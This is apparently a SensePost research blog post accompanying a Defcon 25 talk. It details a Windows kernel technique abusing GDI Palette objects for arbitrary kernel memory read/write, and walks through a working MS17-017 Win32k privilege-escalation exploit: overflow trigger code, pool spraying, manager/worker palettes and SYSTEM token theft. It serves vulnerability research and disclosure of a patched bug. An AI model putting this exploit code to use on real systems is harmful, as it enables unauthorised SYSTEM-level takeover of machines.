Our Blog

Our news

All you need to know

Abusing GDI Objects for ring0 Primitives Revolution

Reading time ~21 min

Exploiting MS17-017 EoP Using Color Palettes

This post is an accompaniment to the Defcon 25 talk given by Saif. One of the core topics of the talk was the release of a new technique GDI object abuse technique, name Palette Objects. Saif presented a previously unreleased Windows 7 SP1 x86 exploit involving the abuse of a newly discovered GDI object abuse technique.

A complete white-paper on the topic was released and can be found here: Whitepaper

Both exploits discussed in the talk, were also released and the source code of these can be found here: https://github.com/sensepost/gdi-palettes-exp

XEPALOBJ – Palette Objects:

Palettes specify the colours that can be used in a device context. These are represented in kernel memory by Pool tag Gh?8, Gla8, and have the type name _PALETTE, XEPALOBJ or PALOBJ in Win32k debugging symbols.

Since some of the analysed functions reference XEPALOBJ that’s what I decided to go with. The kernel structure is undocumented on MSDN but the x86 version can be found in ReactOS1, and both x86 and x64 versions can be found in Deigo Juarez’s amazing windbg extension GDIObjDump2.

A relative memory read/write technique using palettes was mentioned in a 360 Vulcan team talk3 in March 2017. However, to my knowledge the full technique outlined here, including arbitrary memory read/write, has not been fully disclosed before.

X86 and X64 PALETTE structure

The most interesting members of the XEPALOBJ structure are the cEntries which represent the number of members in the PALETTEENTRY array, and the *pFirstColor, which is a pointer to the first member of the PALETTEENTRY array apalColors located at the end of the structure as seen below.

KAlloc

The CreatePalette function is used to allocate Palette objects. It takes a LOGPALETTE structure as argument, allocations lower than 0x98 bytes for x86 systems and 0xD8 for x64 bits, gets allocated to the look aside list.

CreatePalette Function as described on MSDN
tagLOGPALETTE structure as described on MSDN
tagPALETTEENTRY structure as described on MSDN

KFree

To free a Palette object, the DeleteObject function can be used and the handle to Palette is supplied as argument: DeleteObject(HPALETTE)

Read Memory Function

The GetPaletteEntries function is used to read Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, to the provided buffer lppe. The function is defined as below.

GetPaletteEntries Function as described on MSDN

Write Memory Function

There are two functions that can be used to write Palette entries nEntries, if lower, the XEPALOBJ.cEntries starting from offset iStart || iStartIndex, from the Palette’s apalColors array, pointed to by pFirstColor in the XEPALOBJ corresponding to the Palette handle hpal, from the provided buffer lppe. These functions are SetPaletteEntries, and AnimatePalette.

SetPaletteEntries Function as described on MSDN

 

AnimatePalette Function as described on MSDN

Relative memory read/write cEntries

The cEntries member in XEPALOBJ is used to reference the number of Entries in the Palettes apalColors array, if this member was to be overwritten with a larger number then whenever read/write operations happen on the Palette it will read/write beyond the kernel memory allocated for it.

Arbitrary memory read/write *pFirstColor

All read/write operations by referencing the *pFirstColor, which is the pointer the first entry in the apalColors array, by changing this pointer in a given Palette, it can be used to read/write from any location in kernel memory.

Exploitation Scenario

Palette objects can be abused the same way as Bitmap objects, by using a Manager Palette whose cEntries, or *pFirstColor members are under our control. To control the *pFirstColor of a second Worker Palette and gain arbitrary kernel memory read/write primitive.

The focus will be on the situation where the cEntries of the Manager Palette object can be controlled, by an overflow, to gain a relative memory read/write to the location of the Manager Palette in kernel memory, and use it to overwrite the *pFirstColor of the adjacent Worker Palette object.

Technique Restrictions

The are some restrictions to using the Palette technique.

Firstly, when overflowing the cEntires, the value has to be bigger than 0x26 for x86 systems, and 0x36, since the minimum size allocated for XEPALOBJ is 0x98 for x86 bit systems, and 0xd8 for x64 bit ones, so even if the cEntires is 0x1 if it was overwritten by 0x6 for example, will result in 0x6 * 0x4 = 0x18 which is less than the minimum allocated Palette size.

When using the SetPaletteEntries Function to write Entries to memory, the overflow should not overwrite certain members of the XEPALOBJ (hdcHead, ptransOld and ptransCurrent)

The user-mode SetPaletteEntries calls NTSetPaletteEntries->GreSetPaletteEntries which has the first restriction on hdcHead member, if this member is set the code path taken will end with an error or BSOD highlighted in Yellow below.

Before the code reaches this point the GreSetPaletteEntries will call XEPALOBJ::ulSetEntries, which checks the pTransCurrent and pTransOld members and if they are set, a code path will be taken that will AND the values pointed by them with 0 blocks, in orange colours, although if these locations were allocated then this checks shouldn’t result in BSOD.

The only restriction on setting Palette’s using the AnimatePalettes user-mode function, is that the most significant byte of the memory location pointed to by *pFirstColor has to be an ODD value, this proved challenging on x64 bit systems, but not so much on x86 ones, as shown in XEPALOBJ::ulAnimatePalette below. Although this will not result in BSOD but will error out without writing the new value to the memory location.

MS17-017 Win32k!EngRealizeBrush Integer Overflow leading to OOB Pool Write:

Now that I’ve outlined Palette objects and how they can be abused, let’s use the new technique in an exploit.

Understanding the Bug

Last march Microsoft released a patch, which fixed a privilege escalation vulnerability affecting the GDI kernel sub system. The patched function was Win32k!EngRealizeBrush. As we all know, the March patch fixed allot of other more critical vulnerabilities used by “Shadow Brokers”, however, while everyone was analysing the SMB vulnerabilities, I got busy analysing the privilege escalation bug.

A diff of the code paths, pre and post patch.

On the left is the patched function in Win32k.sys, comparing it to the unpatched version on the right. It was only obvious that there was an Integer overflow issue because of several integer verification functions such as ULonglongtoUlong, and others down the code.

Even though the screenshot couldn’t fit the whole patch, I found it easier to just look at the un-patched function in IDA and try to determine what the issue was, and how it can be exploited.

Triggering the Overflow

The Win32k!EngRealizeBrush function, can be reached by using the PatBlt function to draw an area, with the created palette using the brush selected into the current graphics device context. When creating the palette using solid or hatched brushes, it was noticed that the value that can be overflown was always 0x100 on my system, however when utilising a pattern based brush, the value was controlled.

HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL);

HBRUSH hbrBkgnd = CreatePatternBrush(bitmap);

PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);


The value at EDI at the time, would be the bitmap.width member of the bitmap used with the pattern brush, a step-by-step of the calculations performed is as follows.

x = Bitmap.width * 20 (ecx = 20 and its based of the HDC->bitmap.bitsperpixel)

x = x / 2^3

y = x * bitmap.height

result = y + 0x44

Then value of result is added to 0x40 and passed as the size parameter to the allocation function.

Since the values of bitmap.width and bitmap.height can be controlled, it’s just a matter of finding the right combination, which would result in an overflow. The value we are aiming to get after the overflow is 0x10 (explained later).

For an overflown integer to be of that value the results of the calculations in reality must be equal to 0x100000010.

0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C

A factor of an integer is used to find which two numbers, when multiplied together will result in that integer.

One of the factors of 0xFFFFFF8C are 0x8c (140) and 0x30678337 (0x1d41d41)

The value of the bitmap.width after the calculation should be 0x8c, (0x8c * 0x8)/0x20 = 0x23

Using the following bitmap as the pattern brush source, we would overflow the value when its added to 0x40 and 0x44 to result in 0x10 allocation.

HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL);

After the allocation, the function would try to write to certain offsets of the allocated object, as shown below. If the allocation is below 0x30 bytes in size the write to [esi+0x3C] would result in an out-of-bounds OOB write to that location.

Stars Alignment

Remember the 0x10 value? The reason for choosing that specific value is for stars aligning, the object of choice to be overflown would be a bitmap object, to overwrite its height member, and gain a relative memory read/write primitive.

The 32-bit _SURFOBJ has the height member at offset 0x14:

Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10)  + _SURFOBJ->height (0x14) = OOB write offset (0x3C)

Precisely overwriting the height member of the adjacent bitmap object. To be completely honest, I did not just calculate the offsets and was done. It took a great amount of time, pain and trial and error to get this value so I was basically guessing when the stars aligned for me. Then it was time to check if this was actually happening in a debugger.

By the end of the first section of the calculations, it can be seen that the value that would be passed to the calculation block is 0xFFFFFFD0 at EBX.

Moving to the allocation section, in the beginning the value 0xFFFFFFD0 is added to 0x40 resulting in 0x10 in EAX.

Since at the end of the function, the allocated object is freed, the object needs to be allocated at the end of the memory page. The difference this time is that it should be directly followed by the bitmap object, so that we can overflow the Bitmap object height and extend its size to gain relative memory read/write.

At this point we have three choices, that we can go with:

  1. The extended Bitmap object can be used as a Manager, to overwrite the pvScan0 member of an adjacent Bitmap object, and use the second one as Worker.
  2. The extended Bitmap object can be used as a Manager, to overwrite an adjacent Palette object (XEPALOBJ) *pFirstColor member, and use the Palette as a Worker.
  3. Demo the full new Palette object technique, using the extended Bitmap object to overwrite the cEntries member of an adjacent Palette object, gaining relative memory read/write then use the modified Palette object as Manager, to control the *pFirstColor member of a second Palette and use the Second Palette as Worker.

I decided to go with the last option, to take it as a chance to demo the new technique. To achieve this it is necessary to to perform the kernel Pool Feng-shui as explained below.

Kernel Pool Feng-shui

The first allocations will be of a bitmap of allocation size 0xFE8, since we know the vulnerable object will have the size of 0x10+0x8 (POOL_HEADER), so we create 2000 allocations.

0x1000 – 0x18 = 0xFE8

for (int y = 0; y < 2000; y++) {

            //0x3A3 = 0xFe8

            bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);

            bitmaps[y] = bmp;

}

The Next step is to allocate 2000 Objects of size 0x18, the best object that I found was the Window Class lpszMenuName. Although this is a User object it is one of the User objects that gets allocated to the Pages Session Pool, and I think it can be used to leak the address of GDI objects from User objects, but this is beyond the scope of this paper.

//Spray LpszMenuName User object in GDI pool. Ustx

// size 0x10+8

TCHAR st[0x32];

for (int s = 0; s < 2000; s++) {

            WNDCLASSEX Class2 = { 0 };

            wsprintf(st, "Class%d", s);

            Class2.lpfnWndProc = DefWindowProc;

            Class2.lpszClassName = st;

            Class2.lpszMenuName = "Saif";

            Class2.cbSize = sizeof(WNDCLASSEX);

            if (!RegisterClassEx(&Class2)) {

                        printf("bad %d %d\r\n", s, GetLastError());

                        break;

            }

}

The next step will be to delete(de-allocate) all the large size Bitmap object Gh05 allocated to the beginning of the page.

for (int s = 0; s < 2000; s++) {

            DeleteObject(bitmaps[s]);

}

And allocate smaller Bitmap objects Gh05 of size 0x7F8 that will be allocated to the beginning of the Pool Page, hopefully directly after the memory holes, where the vulnerable object will be placed.

for (int k = 0; k < 2000; k++) {

            //0x1A6 = 0x7f0+8

            bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL);

            bitmaps[k] = bmp;

}

Next 2000 Palette objects Gh08 that will be abused, will be allocated with size 0x7E8 to the remaining free memory in kernel memory pages.

HPALETTE hps;

LOGPALETTE *lPalette;

//0x1E3  = 0x7e8+8

lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));

lPalette->palNumEntries = 0x1E3;

lPalette->palVersion = 0x0300;

// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18

for (int k = 0; k < 2000; k++) {

            hps = CreatePalette(lPalette);

            if (!hps) {

                printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k);

            }

            hp[k] = hps;

}

Then freeing some of the allocated Window Class lpszMenuName, to create memory holes the same size as the vulnerable object allocation, at the end of the Pool page.

TCHAR fst[0x32];

for (int f = 500; f < 750; f++) {

            wsprintf(fst, "Class%d", f);

            UnregisterClass(fst, NULL);

}

If everything went according to plan the memory layout after the vulnerable object is allocated will be as follows.

Relative read/write Bitmap GDI Object extension

Now that the vulnerable object is placed at the end of the page and directly before a Bitmap object, the out-of-bounds write (mov [esi+3c], ecx), should write the DWORD 0x00000006 which represents the brush’s bitmap type (BMF_32BPP) controlled by the biBitCount, to the offset 0x3C of the vulnerable object, which will fall nicely with the Bitmap Object sizlBitmap height member.

 

As shown above, the adjacent Bitmap object sizlBitmap.Height changed, from 0x1 to 0x6 successfully expanding the Bitmap size, so any subsequent operations on the affected Bitmap object, will result in OOB memory read/write. The way to find out which Bitmap is extended, will be by iterating over the allocated bitmaps, and find which one can read data using GetBitmapBits, past its original size.

for (int i = 0; i < 2000; i++) {

            res = GetBitmapBits(bitmaps[i], 0x6F8, bits);

            if (res > 0x6F8 - 1) {

                        hManager = bitmaps[i];

                        printf("[*] Manager Bitmap: %d\r\n", i);

                        break;

            }

}

Abusing Palette GDI Objects

Once the Bitmap object is found, this Bitmap will be used to set the cEntries member of the adjacent Palette(XEPALOBJ) object to 0xFFFFFFFF, which is located at offset 0x6B8 of the bitmap bits.

//BYTE *bytes = (BYTE*)&cEntries;

for (int y = 0; y < 4; y++) {

            bits[0x6F8 - 8 - 0x38 + y] = 0xFF;

}

SetBitmapBits((HBITMAP)hManager, 0x6F8, bits);

The adjacent Palette object XEPALOBJ.cEntries before being set by the Bitmap Object.

The updated XEPALOBJ.cEntries.

By this point a loop will be performed to find which Palette Object was extended by using the GetPaletteEntries function, and monitoring if the result entries count is larger than the original 0x1E3.

UINT *rPalette;

rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY));

memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY));

for (int k = 0; k < 2000; k++) {

            UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette);

            if (res > 0x3BB) {

                        printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]);

                        hpManager = hp[k];

                        break;

            }

}

Once the extended Palette Object is found we will save its handle to use it as the Manager, and set the next Palette Object *pFirstColor, which is at offset 0x3FE from Manager Palette object, to the address of a fixed Bitmap Object Pool Header.

UINT wAddress = rPalette[0x3FE];

printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress);

UINT tHeader = pFirstColor - 0x1000;

tHeader = tHeader & 0xFFFFF000;

printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader);

SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader);

As seen above, the Worker *pFirstColor member was successfully set to the fixed Bitmap object Pool header, which means that arbitrary memory read/write was achieved. The next step is to identify the Worker Palette object handle, we know that the fixed Bitmap object least significant byte of the POOL_HEADER will be 0x35 = 5d, since Gh15 translates to 0x35316847, to identify the Worker Palette Object, a loop will iterate over the allocated Palettes calling GetPaletteEntries, until a Palette is found that has first entry’s least significant byte = 0x35, and save its handle which is going to be our Worker Palette object.

UINT wBuffer[2];

for (int x = 0; x < 2000; x++) {

            GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer);

            if (wBuffer[1] >> 24 == 0x35) {

                        hpWorker = hp[x];

                        printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker);

                        printf("[*] wBuffer: %x\r\n", wBuffer[1]);

                        break;

            }
}

The arbitrary memory read/write will be used to fix the clobbered Bitmap object header.

VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 };

void SetAddress(UINT* address) {

            SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address);

}

void WriteToAddress(UINT* data, DWORD len) {

            SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data);

}

UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) {

            SetAddress((UINT *)&src);

            DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst);

            return res;

}

Steal Token 32-bit

With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current process as explained in a previous post.

// get System EPROCESS

UINT SystemEPROCESS = PsInitialSystemProcess();

//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);

UINT CurrentEPROCESS = PsGetCurrentProcess();

//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);

UINT SystemToken = 0;

// read token from system process

ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1);

fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken);

// write token to current process

UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;

SetAddress(&CurProccessAddr);

SYSTEM!!

Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell.

system("cmd.exe");

More Details:

Defcon 25: 5A1F – Demystifying Windows Kernel Exploitation by Abusing GDI objects

White-paper, slides, MS16-098 & MS17-017 exploit:

https://github.com/sensepost/gdi-palettes-exp

References:

[1] ReactOS x86 Palette object: https://www.reactos.org/wiki/Techwiki:Win32k/PALETTE

[2] GDIOBjDump: https://github.com/CoreSecurity/GDIObjDump

[3] 360Vulcan team Win32k Dark Composition: https://www.slideshare.net/CanSecWest/csw2017-peng-qiushefangzhong-win32k-darkcompositionfinnalfinnalrmmark